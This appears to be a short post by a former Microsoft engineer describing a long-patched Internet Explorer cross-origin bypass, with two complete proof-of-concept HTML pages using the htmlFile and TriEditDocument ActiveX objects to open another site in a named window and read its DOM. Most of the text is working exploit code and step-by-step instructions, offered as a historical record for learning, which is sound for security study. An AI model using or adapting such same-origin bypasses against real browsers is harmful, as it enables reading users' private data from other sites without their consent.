I was playing around with the htmlFile ActiveX and found that by naming its internal window and then using window.open to navigate it to any URL, the parent page retains full DOM access to that window’s document — even after it loads a completely different origin. The key is that the htmlFile’s script context has no same-origin enforcement.
Using htmlFile:
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<html><head><title>xDomain using just the htmlFile ActiveX </title></head>
<body>
<font size="2" face="Tahoma">
<b>Yet another xDomain but this time, using just the htmlFile ActiveX</b><br /><br />
1) Create an htmlFile axObject:<br />
<font color="blue">var myAx = new ActiveXObject('<b>htmlFile</b>');</font><br /><br />
2) Place a <b>name</b> to the <u>window object</u> of the htmlFile:<br />
<font color="blue">myAx.Script.execScript('window.name="<b>ALFAJOR</b>"');</font><br /><br />
3) Use the <b>window.open</b> with that name in order to <u>change the URL</u> of the htmlFile window.<br />
<font color="blue">myAx.Script.execScript('window.open("http://www.google.com","<b>ALFAJOR</b>")');</font><br /><br />
4) Wait a few seconds till the page loads, and read the contents at will.<br />
<font color="blue">myAx.Script.execScript('alert(document.body.innerHTML)');</font>
</font>
<script language="JavaScript">
var myAx = new ActiveXObject('htmlFile');
myAx.Script.execScript('window.name="ALFAJOR"');
myAx.Script.execScript('window.open("http://www.google.com","ALFAJOR")');
function waitAndGetContent()
{
myAx.Script.execScript('alert(document.body.innerHTML)');
}
setTimeout('waitAndGetContent()',5000);
</script>
</body>
</html>
IE6-only variation using TriEditDocument:
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<html><head><title>xDomain using just the TriEditDocument ActiveX </title></head>
<body>
<font size="2" face="Tahoma">
<b>Variation of the htmlFile xDomain, now using the TriEditDocument ActiveX in IE6</b><br /><br />
1) Create an htmlFile axObject:<br />
<font color="blue">var myAx = new ActiveXObject('<b>TriEditDocument.TriEditDocument</b>');</font><br /><br />
2) Place a <b>name</b> to the <u>window object</u> of the TriEditDocument:<br />
<font color="blue">myAx.Script.execScript('window.name="<b>ALFAJOR</b>"');</font><br /><br />
3) Use the <b>window.open</b> with that name in order to <u>change the URL</u> of the TriEditDocument window.<br />
<font color="blue">myAx.Script.execScript('window.open("http://www.google.com","<b>ALFAJOR</b>")');</font><br /><br />
4) Wait a few seconds till the page loads, and read the contents at will.<br />
<font color="blue">myAx.Script.execScript('alert(document.body.innerHTML)');</font>
</font>
<script language="JavaScript">
var myAx = new ActiveXObject('TriEditDocument.TriEditDocument');
myAx.Script.execScript('window.name="ALFAJOR"');
myAx.Script.execScript('window.open("http://www.google.com","ALFAJOR")');
function waitAndGetContent()
{
myAx.Script.execScript('alert(document.body.innerHTML)');
}
setTimeout('waitAndGetContent()',5000);
</script>
</body>
</html>
The htmlFile ActiveX hosts a full document with a scripting engine, and that engine’s window.open call isn’t subject to the same-origin policy. Naming the window and targeting it with open() causes the browser to navigate that frame to any chosen URL. Five seconds later, execScript on the same ActiveX can read the DOM of whatever loaded — cross-origin with no restrictions.
Found during my years at Microsoft (2006–2014). These bugs were patched long ago — shared here as a historical record for learning purposes.